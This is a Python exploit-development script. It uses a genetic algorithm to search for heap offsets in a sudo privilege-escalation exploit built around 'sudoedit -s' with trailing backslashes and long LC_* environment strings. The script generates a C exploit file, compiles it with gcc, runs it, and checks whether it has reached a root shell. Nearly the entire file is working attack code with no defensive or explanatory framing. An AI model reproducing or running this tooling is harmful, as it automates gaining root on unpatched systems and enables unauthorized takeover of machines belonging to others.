#!/usr/bin/env python3
'''
    Genetic Algorithm to pinpiont exploit offsets to evolve distance
    @sha0coder
'''

import os
import sys
import copy
import random

POPULATION_SZ = 40
MAX_GEN = 300
MAX_GENERATIONS = 1000000
BAD = -999999999999
TOP = 10
MUTATION_PROB = 0.5
MUTATION_INC = 1
GEN_SZ = 5


def rand_genotype():
    gt = []
    for i in range(GEN_SZ):
        gt.append(random.randint(0,MAX_GEN))
    return gt

def rand_individual():
    return {
            'genotype': rand_genotype(),
            'eval': BAD,
            'neg': False
        }

def rand_population():
    popu = []
    for i in range(POPULATION_SZ):
        popu.append(rand_individual())
    return popu


def evaluation(popu):
    for i in range(len(popu)):
        p = popu[i]
        build_exploit(p["genotype"][0], 1926, p["genotype"][1], p["genotype"][2], p["genotype"][3], p["genotype"][4])
        arg = f'./trace_heap.sh 2>/dev/null'
        fd = os.popen(arg, 'r')
        out = int(fd.read()) #- (p["genotype"][0]/2)
        fd.close()
        #print(f'{arg} -> {out}')
        #if abs(out) <= 0x100:
        #    print('WINNER!!!')
        #    print(arg)
        #    print(popu[i])
        #    sys.exit(1)
        if out < 0:
            popu[i]['neg'] = True
        else:
            popu[i]['neg'] = False
        popu[i]['eval'] = abs(out)


def sort2(popu):
    for i in range(len(popu)-1):
        for j in (range(1,len(popu))):
            if popu[j]['eval'] < popu[i]['eval']:
                tmp = copy.deepcopy(popu[i])
                popu[i] = copy.deepcopy(popu[j])
                popu[j] = tmp


def sort(popu):
    for i in range(len(popu)-1, 0, -1):
        for j in range(i):
            if popu[j+1]['eval'] < popu[j]['eval']:
                tmp = copy.deepcopy(popu[j+1])
                popu[j+1] = copy.deepcopy(popu[j])
                popu[j] = tmp


def selection(popu):
    top10 = []
    sort(popu)
    for i in range(TOP):
        top10.append(copy.deepcopy(popu[i]))
    return top10


def mutate(c):
    if random.uniform(0,1) <= MUTATION_PROB:
        idx = random.randint(0,GEN_SZ-1)
        if random.randint(1,2) == 1:
            c['genotype'][idx] += MUTATION_INC
        else:
            c['genotype'][idx] -= MUTATION_INC

def crossover(top10, ng):
    while len(ng) < POPULATION_SZ:
        a = random.randint(0,TOP/2)
        b = random.randint(TOP/2+1,TOP-1)

        c1 = copy.deepcopy(top10[a])
        c1['genotype'][2] = top10[b]['genotype'][2]
        c1['genotype'][3] = top10[b]['genotype'][3]
        mutate(c1)
        ng.append(c1)

        c2 = copy.deepcopy(top10[b])
        c2['genotype'][2] = top10[a]['genotype'][2]
        c2['genotype'][3] = top10[a]['genotype'][3]
        mutate(c2)
        ng.append(c2)

        c3 = copy.deepcopy(top10[a])
        c3['genotype'][0] = top10[b]['genotype'][0]
        c3['genotype'][3] = top10[b]['genotype'][3]
        mutate(c3)
        ng.append(c3)

        c4 = copy.deepcopy(top10[b])
        c4['genotype'][0] = top10[a]['genotype'][0]
        c4['genotype'][3] = top10[a]['genotype'][3]
        mutate(c4)
        ng.append(c4)


def ranking(top10):
    for i in range(TOP):
        print(i, top10[i])



def build_exploit(off1=224, off2=1926, off3=30, off4=32, off5=208, off6=112):
        code='''
// exploit generated by Genetic Algorithm
#include <stdio.h>
#include <unistd.h>

int main(void) {

  char *args[] = {"sudoedit", "-A", "-s",
'''
        code += '"' + 'A'*off1 + '\\\\", NULL };\n'
        code += 'char *env[] = {\n'
        code += '"' + 'Z'*off2 + '\\\\", \n'
        code += '"\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "\\\\", "X/X1234\\\\", ' *off3 + '\n'
        code += '"LC_CTYPE=C.UTF-8@' +'Z'*off4 +';A=", "LC_NUMERIC=C.UTF-8@'+ 'Z'*off5 +'", "LC_TIME=C.UTF-8@' + 'Z'*off4 +'", "LC_COLLATE=C.UTF-8@' + 'Z'*off4 + '", "LC_IDENTIFICATION=C.UTF-8@' + 'Z'*off6 +'", "TZ=:", NULL, \n'
        code += '}; \n\n'
        code += 'execve("/usr/bin/sudo", args, env);\n'
        code += '}\n'
        open('xplt.c','w').write(code)
        os.system('gcc xplt.c -o xplt')


def test_exploit():
    is_root = False
    fd = os.popen('./xplt','r')
    if '#' in fd.read():
        is_root = True
    fd.close()
    return is_root

def main():
    popu = rand_population()

    for g in range(MAX_GENERATIONS):
        print('generation %d population size: %d fitness: %d' % (g, len(popu), popu[0]['eval']))

        # genotype evaluation
        evaluation(popu)

        # idenfity top10
        top10 = selection(popu)

        # print ranking
        ranking(top10)

        # the new generation
        ng = []


        # preserve top5
        for i in range(5):
            ng.append(top10[i])

        # diversity
        n = random.randint(TOP+1,len(popu)-1)
        ng.append(popu[n])
        top10.append(popu[n])

        # random element
        ng.append(rand_individual())
        ng.append(rand_individual())
        ng.append(rand_individual())

        # crossover the top10
        crossover(top10, ng)

        popu = ng


main()


'''
for i in range(1, 3000):
    print('off2: %d' % i)
    build_exploit(136, i, 36, 232, 130, 29)
    test_exploit()
'''

